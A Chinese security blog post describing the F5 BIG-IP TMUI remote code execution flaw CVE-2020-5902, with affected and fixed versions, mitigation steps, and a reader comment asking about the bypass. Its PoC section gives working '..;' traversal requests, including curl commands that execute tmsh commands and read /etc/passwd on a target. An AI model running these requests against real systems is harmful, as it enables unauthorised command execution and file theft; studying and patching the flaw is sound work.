F5 BIG-IP 远程代码执行漏洞 - CVE-2020-5902

  • 内容
  • 相关

0x01 前言

2020年07月03日, F5发布了F5 BIG-IP 远程代码执行的风险通告。

F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。

F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。

0x02 漏洞详情

未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响,不影响数据面板。

0x03 漏洞编号

CVE-2020-5902

0x04 影响版本

  • BIG-IP 15.x: 15.1.0/15.0.0

  • BIG-IP 14.x: 14.1.0 ~ 14.1.2

  • BIG-IP 13.x: 13.1.0 ~ 13.1.3

  • BIG-IP 12.x: 12.1.0 ~ 12.1.5

  • BIG-IP 11.x: 11.6.1 ~ 11.6.5

0x05 漏洞验证

0x06 Poc


GET /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp 

GET /tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=AnyMsgHereWillBeReflectedInTheResponse

RCE: 
curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Read File: 
curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'


0x7 修复建议

升级到以下版本

  • BIG-IP 15.x: 15.1.0.4

  • BIG-IP 14.x: 14.1.2.6

  • BIG-IP 13.x: 13.1.3.4

  • BIG-IP 12.x: 12.1.5.2

  • BIG-IP 11.x: 11.6.5.2

临时修复建议:

官方建议可以通过以下步骤临时缓解影响

1) 使用以下命令登录对应系统

tmsh

2) 编辑 httpd 组件的配置文件

edit /sys httpd all-properties

3) 文件内容如下

include '
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
'

4) 按照如下操作保存文件

按下 ESC 并依次输入
:wq

5) 执行命令刷新配置文件

save /sys config

6) 重启 httpd 服务

restart sys service httpd

并禁止外部IP对 TMUI 页面的访问

本文标签:

版权声明:若无特殊注明,本文皆为《舜哥哥吖》原创,转载请保留文章出处。

本文链接:F5 BIG-IP 远程代码执行漏洞 - CVE-2020-5902 - https://www.shungg.cn/post/317

发表评论

电子邮件地址不会被公开。 必填项已用*标注

评论

2条评论
  1. avatar

    hahahah Lv.1 Chrome 74.0.3729.131 Chrome 74.0.3729.131 Windows 7 Windows 7 回复

    QQ 和邮箱是我乱填的~

    广东省东莞市 电信

    1. avatar

      hahahah Lv.1 Chrome 74.0.3729.131 Chrome 74.0.3729.131 Windows 7 Windows 7 回复

      大佬  我想问一下这段poc  curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

      你在分号后面又加了这段请求/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
      这是不是说明  分号结束后 后面这段请求也会发送出去并且被服务器接收处理并返回响应?

      广东省东莞市 电信